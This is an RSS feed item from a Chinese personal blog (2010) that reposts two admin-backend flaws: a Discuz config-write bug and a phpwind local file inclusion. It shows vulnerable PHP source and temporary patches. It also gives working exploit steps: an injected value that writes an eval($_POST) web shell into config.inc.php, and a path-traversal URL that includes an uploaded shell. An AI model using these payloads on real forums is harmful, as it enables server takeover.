<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[刘新修]]></title> 
<link>http://pic1.liuxinxiu.com:80/index.php</link> 
<description><![CDATA[刘新修的个人博客 (Liuxinxiu'S Blog)]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[刘新修]]></copyright>
<item>
<link>http://pic1.liuxinxiu.com:80/s//</link>
<title><![CDATA[discuz和phpwind的漏洞]]></title> 
<author>刘新修 &lt;admin@yourname.com&gt;</author>
<category><![CDATA[H5/JS/CSS]]></category>
<pubDate>Thu, 02 Sep 2010 16:27:51 +0000</pubDate> 
<guid>http://pic1.liuxinxiu.com:80/s//</guid> 
<description>
<![CDATA[ 
	<p>多人有了，流传出来了，然后发出来。现在的漏洞，如果主动公布的，肯定是&ldquo;无鸡肋不公布&rdquo;，否则肯定是藏着，除非别人公布了。DZ的鸡肋在于需要创建者的权限（创建者的密码一般比较难搞），pw的鸡肋在于需要截断（或者linux旁注写一个shell到tmp下）。</p><p>一、discuz后台settings.inc.php中写shell漏洞：</p><div class="codeText"><div class="codeHead">PHP代码</div><ol class="dp-c">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="keyword">if</span><span>(</span><span class="vars">$operation</span><span>&nbsp;==&nbsp;</span><span class="string">'uc'</span><span>&nbsp;&amp;&amp;&nbsp;</span><span class="func">is_writeable</span><span>(</span><span class="string">'./config.inc.php'</span><span>)&nbsp;&amp;&amp;&nbsp;</span><span class="vars">$isfounder</span><span>)&nbsp;&#123; &nbsp;&nbsp;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$ucdbpassnew</span><span>&nbsp;=&nbsp;</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbpass'</span><span>]&nbsp;==&nbsp;</span><span class="string">'********'</span><span>&nbsp;?&nbsp;UC_DBPW&nbsp;:&nbsp;</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbpass'</span><span>]; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'connect'</span><span>])&nbsp;&#123; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$uc_dblink</span><span>&nbsp;=&nbsp;@mysql_connect(</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbhost'</span><span>],&nbsp;</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbuser'</span><span>],&nbsp;</span><span class="vars">$ucdbpassnew</span><span>,&nbsp;1); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(!</span><span class="vars">$uc_dblink</span><span>)&nbsp;&#123; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cpmsg(</span><span class="string">'uc_database_connect_error'</span><span>,&nbsp;</span><span class="string">''</span><span>,&nbsp;</span><span class="string">'error'</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;&nbsp;</span><span class="keyword">else</span><span>&nbsp;&#123; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mysql_close(</span><span class="vars">$uc_dblink</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$fp</span><span>&nbsp;=&nbsp;</span><span class="func">fopen</span><span>(</span><span class="string">'./config.inc.php'</span><span>,&nbsp;</span><span class="string">'r'</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;</span><span class="func">fread</span><span>(</span><span class="vars">$fp</span><span>,&nbsp;</span><span class="func">filesize</span><span>(</span><span class="string">'./config.inc.php'</span><span>)); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;trim(</span><span class="vars">$configfile</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;</span><span class="func">substr</span><span>(</span><span class="vars">$configfile</span><span>,&nbsp;-2)&nbsp;==&nbsp;</span><span class="string">'?&gt;'</span><span>&nbsp;?&nbsp;</span><span class="func">substr</span><span>(</span><span class="vars">$configfile</span><span>,&nbsp;0,&nbsp;-2)&nbsp;:&nbsp;</span><span class="vars">$configfile</span><span>; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose(</span><span class="vars">$fp</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$connect</span><span>&nbsp;=&nbsp;</span><span class="string">''</span><span>; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'connect'</span><span>])&nbsp;&#123; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">require</span><span>&nbsp;</span><span class="string">'./config.inc.php'</span><span>; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$connect</span><span>&nbsp;=&nbsp;</span><span class="string">'mysql'</span><span>; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$samelink</span><span>&nbsp;=&nbsp;(</span><span class="vars">$dbhost</span><span>&nbsp;==&nbsp;</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbhost'</span><span>]&nbsp;&amp;&amp;&nbsp;</span><span class="vars">$dbuser</span><span>&nbsp;==&nbsp;</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbuser'</span><span>]&nbsp;&amp;&amp;&nbsp;</span><span class="vars">$dbpw</span><span>&nbsp;==&nbsp;</span><span class="vars">$ucdbpassnew</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$samecharset</span><span>&nbsp;=&nbsp;!(</span><span class="vars">$dbcharset</span><span>&nbsp;==&nbsp;</span><span class="string">'gbk'</span><span>&nbsp;&amp;&amp;&nbsp;UC_DBCHARSET&nbsp;==&nbsp;</span><span class="string">'latin1'</span><span>&nbsp;&#124;&#124;&nbsp;</span><span class="vars">$dbcharset</span><span>&nbsp;==&nbsp;</span><span class="string">'latin1'</span><span>&nbsp;&amp;&amp;&nbsp;UC_DBCHARSET&nbsp;==&nbsp;</span><span class="string">'gbk'</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_DBHOST',&#92;s*'.*?'&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_DBHOST',&nbsp;'&quot;</span><span>.</span><span class="vars">$settingsnew</span><span>['uc</span><span class="string">']['</span><span>dbhost</span><span class="string">'].&quot;'</span><span>);&quot;);</span><span class="comment">//正则表示从'到')中的被替换，而')可以被任意提交，from&nbsp;oldjun.com </span><span>&nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_DBUSER',&#92;s*'.*?'&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_DBUSER',&nbsp;'&quot;</span><span>.</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbuser'</span><span>].</span><span class="string">&quot;');&quot;</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_DBPW',&#92;s*'.*?'&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_DBPW',&nbsp;'&quot;</span><span>.</span><span class="vars">$ucdbpassnew</span><span>.</span><span class="string">&quot;');&quot;</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_DBNAME',&#92;s*'.*?'&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_DBNAME',&nbsp;'&quot;</span><span>.</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbname'</span><span>].</span><span class="string">&quot;');&quot;</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_DBTABLEPRE',&#92;s*'.*?'&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_DBTABLEPRE',&nbsp;'`&quot;</span><span>.</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbname'</span><span>].</span><span class="string">'`.'</span><span>.</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'dbtablepre'</span><span>].</span><span class="string">&quot;');&quot;</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//$configfile&nbsp;=&nbsp;insertconfig($configfile,&nbsp;&quot;/define&#92;('UC_LINK',&#92;s*'?.*?'?&#92;);/i&quot;,&nbsp;&quot;define('UC_LINK',&nbsp;&quot;.($samelink&nbsp;&amp;&amp;&nbsp;$samecharset&nbsp;?&nbsp;'TRUE'&nbsp;:&nbsp;'FALSE').&quot;);&quot;); </span><span>&nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_CONNECT',&#92;s*'.*?'&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_CONNECT',&nbsp;'$connect');&quot;</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_KEY',&#92;s*'.*?'&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_KEY',&nbsp;'&quot;</span><span>.</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'key'</span><span>].</span><span class="string">&quot;');&quot;</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_API',&#92;s*'.*?'&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_API',&nbsp;'&quot;</span><span>.</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'api'</span><span>].</span><span class="string">&quot;');&quot;</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_IP',&#92;s*'.*?'&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_IP',&nbsp;'&quot;</span><span>.</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'ip'</span><span>].</span><span class="string">&quot;');&quot;</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$configfile</span><span>&nbsp;=&nbsp;insertconfig(</span><span class="vars">$configfile</span><span>,&nbsp;</span><span class="string">&quot;/define&#92;('UC_APPID',&#92;s*'?.*?'?&#92;);/i&quot;</span><span>,&nbsp;</span><span class="string">&quot;define('UC_APPID',&nbsp;'&quot;</span><span>.</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="string">'appid'</span><span>].</span><span class="string">&quot;');&quot;</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$fp</span><span>&nbsp;=&nbsp;</span><span class="func">fopen</span><span>('./config.inc.php</span><span class="string">',&nbsp;'</span><span>w</span><span class="string">'); </span>&nbsp;</li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!($fp&nbsp;=&nbsp;@fopen('</span><span>./config.inc.php</span><span class="string">',&nbsp;'</span><span>w</span><span class="string">')))&nbsp;&#123; </span>&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cpmsg('</span><span>uc_config_write_error</span><span class="string">',&nbsp;'</span><span class="string">',&nbsp;'</span><span>error'); &nbsp;&nbsp;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@fwrite(</span><span class="vars">$fp</span><span>,&nbsp;trim(</span><span class="vars">$configfile</span><span>)); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@fclose(</span><span class="vars">$fp</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;&nbsp; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;</span></li></ol></div><p><strong>漏洞详情：</strong></p><p align="left">settings.inc.php对提交的数据缺乏有效过滤，导致可以写入')污染配置文件的数据，而insertconfig函数的则匹配无法正确匹配到最后，导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。</p><div class="codeText"><div class="codeHead">PHP代码</div><ol class="dp-c">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="keyword">function</span><span>&nbsp;insertconfig(</span><span class="vars">$s</span><span>,&nbsp;</span><span class="vars">$find</span><span>,&nbsp;</span><span class="vars">$replace</span><span>)&nbsp;&#123; &nbsp;&nbsp;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span class="keyword">if</span><span>(preg_match(</span><span class="vars">$find</span><span>,&nbsp;</span><span class="vars">$s</span><span>))&nbsp;&#123; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span class="vars">$s</span><span>&nbsp;=&nbsp;preg_replace(</span><span class="vars">$find</span><span>,&nbsp;</span><span class="vars">$replace</span><span>,&nbsp;</span><span class="vars">$s</span><span>);</span><span class="comment">//正则匹配替换数据 </span><span>&nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&#125;&nbsp;</span><span class="keyword">else</span><span>&nbsp;&#123; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span class="vars">$s</span><span>&nbsp;.=&nbsp;</span><span class="string">&quot;&#92;r&#92;n&quot;</span><span>.</span><span class="vars">$replace</span><span>; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&#125; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span class="keyword">return</span><span>&nbsp;</span><span class="vars">$s</span><span>; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&#125;&nbsp;&nbsp;&nbsp;</span></li></ol></div><p><strong>漏洞测试：</strong></p><p>步骤一：UC_IP(UC_IP是可选项，随便写入一般不影响程序运行)中写入污染数据：xxx');eval($_POST[cmd])?&gt;提交；<br />步骤二：UC_IP随便输入aaa，正则匹配只匹配到了')，于是自动把分号前的闭合了。</p><p><strong>临时补丁：</strong></p><p>在if($operation == 'uc' &amp;&amp; is_writeable('./config.inc.php') &amp;&amp; $isfounder) &#123;下添加：</p><div class="codeText"><div class="codeHead">PHP代码</div><ol class="dp-c">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="keyword">foreach</span><span>(</span><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>]&nbsp;</span><span class="keyword">as</span><span>&nbsp;</span><span class="vars">$key</span><span>&nbsp;=&gt;&nbsp;</span><span class="vars">$value</span><span>)&#123; &nbsp;&nbsp;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span class="vars">$settingsnew</span><span>[</span><span class="string">'uc'</span><span>][</span><span class="vars">$key</span><span>]=</span><span class="func">str_replace</span><span>(</span><span class="string">')'</span><span>,</span><span class="string">''</span><span>,</span><span class="vars">$value</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&#125;&nbsp;&nbsp;</span></li></ol></div><p>二、phpwind后台本地包含漏洞：</p><p><strong>漏洞详情：</strong></p><p>文件：hack&#92;rate&#92;admin.php<br />源码：</p><div class="codeText"><div class="codeHead">PHP代码</div><ol class="dp-c">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>&lt;?php &nbsp;&nbsp;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>!function_exists(</span><span class="string">'readover'</span><span>)&nbsp;&amp;&amp;&nbsp;</span><span class="func">exit</span><span>(</span><span class="string">'Forbidden'</span><span>); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>define&nbsp;(&nbsp;</span><span class="string">&quot;H_R&quot;</span><span>,&nbsp;R_P&nbsp;.&nbsp;</span><span class="string">&quot;hack/rate/&quot;</span><span>&nbsp;); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>define&nbsp;(&nbsp;</span><span class="string">&quot;L_R&quot;</span><span>,&nbsp;R_P&nbsp;.&nbsp;</span><span class="string">&quot;lib/&quot;</span><span>&nbsp;); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>InitGP&nbsp;(&nbsp;</span><span class="keyword">array</span><span>&nbsp;(</span><span class="string">'ajax'</span><span>&nbsp;)&nbsp;); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span class="vars">$action</span><span>&nbsp;=&nbsp;</span><span class="func">strtolower</span><span>&nbsp;(&nbsp;(</span><span class="vars">$job</span><span>)&nbsp;?&nbsp;</span><span class="vars">$job</span><span>&nbsp;:&nbsp;</span><span class="string">&quot;admin&quot;</span><span>&nbsp;); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span class="vars">$filepath</span><span>&nbsp;=&nbsp;H_R&nbsp;.&nbsp;</span><span class="string">&quot;action/&quot;</span><span>&nbsp;.&nbsp;</span><span class="vars">$action</span><span>&nbsp;.&nbsp;</span><span class="string">&quot;Action.php&quot;</span><span>; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>(!&nbsp;</span><span class="func">file_exists</span><span>&nbsp;(&nbsp;</span><span class="vars">$filepath</span><span>&nbsp;))&nbsp;&amp;&amp;&nbsp;</span><span class="func">exit</span><span>&nbsp;(); &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span class="keyword">if</span><span>&nbsp;(</span><span class="vars">$job</span><span>&nbsp;!=&nbsp;</span><span class="string">&quot;ajax&quot;</span><span>)&nbsp;&#123; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">require</span><span>&nbsp;H_R&nbsp;.&nbsp;</span><span class="string">'/template/layout.php'</span><span>; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&#125;&nbsp;</span><span class="keyword">else</span><span>&nbsp;&#123; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">require_once</span><span>&nbsp;</span><span class="vars">$filepath</span><span>; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&#125; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>?&gt;&nbsp; &nbsp;&nbsp;</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;</span></li></ol></div><p>$job可以自定义，触发本地包含，只不过addslashes了，因此不能通过%00截断；但可以通过若干///////截断，或者直接在tmp文件夹下写个shell来包含。具体不多说了，利用办法：</p><p><strong>漏洞测试：</strong></p><p>先在tmp下上传一个shell，名为Action.php<br />然后访问：http://127.0.0.1/pw/admin.php?adminjob=hack&amp;hackset=rate&amp;typeid=100&amp;job=../../../../../../tmp/</p><p><strong>临时补丁：</strong></p><div class="codeText"><div class="codeHead">PHP代码</div><ol class="dp-c">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="vars">$filepath</span><span>&nbsp;=&nbsp;H_R&nbsp;.&nbsp;</span><span class="string">&quot;action/&quot;</span><span>&nbsp;.&nbsp;</span><span class="vars">$action</span><span>&nbsp;.&nbsp;</span><span class="string">&quot;Action.php&quot;</span><span>;&nbsp;&nbsp;</span></span></li></ol></div><p>替换为：</p><div class="codeText"><div class="codeHead">PHP代码</div><ol class="dp-c">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="vars">$filepath</span><span>&nbsp;=&nbsp;Pcv(H_R&nbsp;.&nbsp;</span><span class="string">&quot;action/&quot;</span><span>&nbsp;.&nbsp;</span><span class="vars">$action</span><span>&nbsp;.&nbsp;</span><span class="string">&quot;Action.php&quot;</span><span>);&nbsp;&nbsp;</span></span></li></ol></div><p>&nbsp;</p><br/>Tags - <a href="http://pic1.liuxinxiu.com:80/tags/discuz/" rel="tag">discuz</a> , <a href="http://pic1.liuxinxiu.com:80/tags/phpwind/" rel="tag">phpwind</a>
]]>
</description>
</item><item>
<link>http://pic1.liuxinxiu.com:80/s//#blogcomment</link>
<title><![CDATA[[评论] discuz和phpwind的漏洞]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
